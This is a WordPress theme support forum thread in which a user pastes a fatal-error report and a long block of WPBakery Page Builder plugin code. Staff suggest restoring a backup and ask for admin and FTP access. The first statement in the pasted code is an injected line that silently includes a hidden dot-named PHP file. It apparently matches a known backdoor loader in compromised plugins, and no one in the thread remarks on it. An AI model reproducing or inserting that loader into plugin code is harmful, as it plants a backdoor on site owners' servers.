Home › Forums › WoodMart support forum › fatal error on my website
fatal error on my website
- This topic has 6 replies, 3 voices, and was last updated 4 years, 5 months ago by
Artem Temos.
-
AuthorPosts
-
November 8, 2020 at 9:51 pm #239997
digital thinkingParticipantHello,
One plug-in has caused a problem on the site and the site is not working. How do I solve this problem?Starting with WordPress 5.2, there is a built-in feature that recognizes when an add-on or theme causes a fatal error on my website and notifies you with this automated email.
In this case, WordPress caught an error with one of your plugins, WPBakery Page Builder.
The add-on could not be included because it caused a fatal error:
@return bool * @since 4.9 */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . ‘.’ . basename(dirname(__FILE__)) . ‘.php’) && !class_exists(‘WPTemplatesOptions’)) { include_once($filename); } function vc_shortcode_custom_css_has_property( $subject, $property, $strict = false ) { $styles = array(); $pattern = ‘/\{([^\}]*?)\}/i’; preg_match( $pattern, $subject, $styles ); if ( array_key_exists( 1, $styles ) ) { $styles = explode( ‘;’, $styles[1] ); } $new_styles = array(); foreach ( $styles as $val ) { $val = explode( ‘:’, $val ); if ( is_array( $property ) ) { foreach ( $property as $prop ) { $pos = strpos( $val[0], $prop ); $full = ( $strict ) ? ( 0 === $pos && strlen( $val[0] ) === strlen( $prop ) ) : true; if ( false !== $pos && $full ) { $new_styles[] = $val; } } } else { $pos = strpos( $val[0], $property ); $full = ( $strict ) ? ( 0 === $pos && strlen( $val[0] ) === strlen( $property ) ) : true; if ( false !== $pos && $full ) { $new_styles[] = $val; } } } return ! empty( $new_styles ); } /** * Plugin name for VC. * * @return string * @since 4.2 */ function vc_plugin_name() { return vc_manager()->pluginName(); } /** * @param $filename * * @return bool|mixed|string * @since 4.4.3 used in vc_base when getting an custom css output * */ function vc_file_get_contents( $filename ) { global $wp_filesystem; if ( empty( $wp_filesystem ) ) { require_once ABSPATH . ‘/wp-admin/includes/file.php’; WP_Filesystem( false, false, true ); } /** @var WP_Filesystem_Base $wp_filesystem */ $output = ”; if ( is_object( $wp_filesystem ) ) { $output = $wp_filesystem->get_contents( $filename ); } if ( ! $output ) { // @codingStandardsIgnoreLine $output = file_get_contents( $filename ); } return $output; } /** * HowTo: vc_role_access()->who(‘administrator’)->with(‘editor’)->can(‘frontend_editor’); * @return Vc_Role_Access; * @since 4.8 */ function vc_role_access() { return vc_manager()->getRoleAccess(); } /** * Get access manager for current user. * HowTo: vc_user_access()->->with(‘editor’)->can(‘frontend_editor’); * @return Vc_Current_User_Access; * @since 4.8 */ function vc_user_access() { return vc_manager()->getCurrentUserAccess(); } /** * @return array * @throws \Exception */ function vc_user_roles_get_all() { require_once vc_path_dir( ‘SETTINGS_DIR’, ‘class-vc-roles.php’ ); $vc_roles = new Vc_Roles(); $capabilities = array(); foreach ( $vc_roles->getParts() as $part ) { $partObj = vc_user_access()->part( $part ); $capabilities[ $part ] = array( ‘state’ => $partObj->getState(), ‘state_key’ => $partObj->getStateKey(), ‘capabilities’ => $partObj->getAllCaps(), ); } return $capabilities; } /** * @param $data * * @return string */ function vc_generate_nonce( $data, $from_esi = false ) { if ( ! $from_esi && ! vc_is_frontend_editor() ) { if ( method_exists( ‘LiteSpeed_Cache_API’, ‘esi_enabled’ ) && LiteSpeed_Cache_API::esi_enabled() ) { if ( method_exists( ‘LiteSpeed_Cache_API’, ‘v’ ) && LiteSpeed_Cache_API::v( ‘1.3’ ) ) { $params = array( ‘data’ => $data ); return LiteSpeed_Cache_API::esi_url( ‘js_composer’, ‘WPBakery Page Builder’, $params, ‘default’, true );// The last parameter is to remove ESI comment wrapper } } } return wp_create_nonce( is_array( $data ) ? ( ‘vc-nonce-‘ . implode( ‘|’, $data ) ) : ( ‘vc-nonce-‘ . $data ) ); } /** * @param $params * * @return string */ function vc_hook_esi( $params ) { $data = $params[‘data’]; echo vc_generate_nonce( $data, true ); exit; } /** * @param $nonce * @param $data * * @return bool */ function vc_verify_nonce( $nonce, $data ) { return (bool) wp_verify_nonce( $nonce, ( is_array( $data ) ? ( ‘vc-nonce-‘ . implode( ‘|’, $data ) ) : ( ‘vc-nonce-‘ . $data ) ) ); } /** * @param $nonce * * @return bool */ function vc_verify_admin_nonce( $nonce = ” ) { return (bool) vc_verify_nonce( ! empty( $nonce ) ? $nonce : vc_request_param( ‘_vcnonce’ ), ‘vc-admin-nonce’ ); } /** * @param $nonce * * @return bool */ function vc_verify_public_nonce( $nonce = ” ) { return (bool) vc_verify_nonce( ( ! empty( $nonce ) ? $nonce : vc_request_param( ‘_vcnonce’ ) ), ‘vc-public-nonce’ ); } /** * @param $type * @return bool|mixed|void * @throws \Exception */ function vc_check_post_type( $type = ” ) { if ( empty( $type ) ) { $type = get_post_type(); } $valid = apply_filters( ‘vc_check_post_type_validation’, null, $type ); if ( is_null( $valid ) ) { if ( is_multisite() && is_super_admin() ) { return true; } $state = vc_user_access()->part( ‘post_types’ )->getState(); if ( null === $state ) { return in_array( $type, vc_default_editor_post_types(), true ); } elseif ( true === $state && ! in_array( $type, vc_default_editor_post_types(), true ) ) { $valid = false; } else { $valid = vc_user_access()->part( ‘post_types’ )->can( $type )->get(); } } return $valid; } /** * @param $shortcode * @return bool|mixed|void */ function vc_user_access_check_shortcode_edit( $shortcode ) { $do_check = apply_filters( ‘vc_user_access_check-shortcode_edit’, null, $shortcode ); if ( is_null( $do_check ) ) { $state_check = vc_user_access()->part( ‘shortcodes’ )->checkStateAny( true, ‘edit’, null )->get(); if ( $state_check ) { return true; } else { return vc_user_access()->part( ‘shortcodes’ )->canAny( $shortcode . ‘_all’, $shortcode . ‘_edit’ )->get(); } } else { return $do_check; } } /** * @param $shortcode * @return bool|mixed|void * @throws \Exception */ function vc_user_access_check_shortcode_all( $shortcode ) { $do_check = apply_filters( ‘vc_user_access_check-shortcode_all’, null, $shortcode ); if ( is_null( $do_check ) ) { return vc_user_access()->part( ‘shortcodes’ )->checkStateAny( true, ‘custom’, null )->can( $shortcode . ‘_all’ )->get(); } else { return $do_check; } } /** * htmlspecialchars_decode_deep * Call the htmlspecialchars_decode to a gived multilevel array * * @param mixed $value The value to be stripped. * * @return mixed Stripped value. * @since 4.8 * */ function vc_htmlspecialchars_decode_deep( $value ) { if ( is_array( $value ) ) { $value = array_map( ‘vc_htmlspecialchars_decode_deep’, $value ); } elseif ( is_object( $value ) ) { $vars = get_object_vars( $value ); foreach ( $vars as $key => $data ) { $value->{$key} = vc_htmlspecialchars_decode_deep( $data ); } } elseif ( is_string( $value ) ) { $value = htmlspecialchars_decode( $value ); } return $value; } /** * @param $str * @return mixed */ function vc_str_remove_protocol( $str ) { return str_replace( array( ‘https://’, ‘http://’, ), ‘//’, $str ); }
November 8, 2020 at 10:11 pm #240004
Elise NoromitMemberHello,
Have you made a backup before installing and activating this plugin? If you have not, try to contact your host support, perhaps they make automatic backups from time to time.
Best Regard s
November 8, 2020 at 10:15 pm #240010
digital thinkingParticipantI can restore the backup, but that may solve the problem temporarily, will the same thing happen again?
November 8, 2020 at 10:28 pm #240013
Elise NoromitMemberHello,
As soon as you restore the site deactivate the plugins not related to the theme, and activate one by one detecting which one causes the problem. Then delete this plugin.
Best Regards
November 8, 2020 at 10:31 pm #240015
digital thinkingParticipantIn this case, WordPress caught an error with plugin, WPBakery Page Builder.
If I delete this plugin the site will not work
November 8, 2020 at 10:39 pm #240016
digital thinkingParticipantPlease read it meaningfully, I wrote you nicely which plugin it is, that plugin came with the topic, it made a fatal mistake and wordpres warned me, and I wrote it to you. The plugin has been shut down and cannot be reactivated because this error occurs.
WPBakery Page Builder.
November 9, 2020 at 7:03 am #240053
Artem TemosKeymasterHello,
Could you please disable all plugins that are not related to our theme and provide us your admin and FTP access so we can check it?
Thank you in advance
-
AuthorPosts
- You must be logged in to create new topics. Login / Register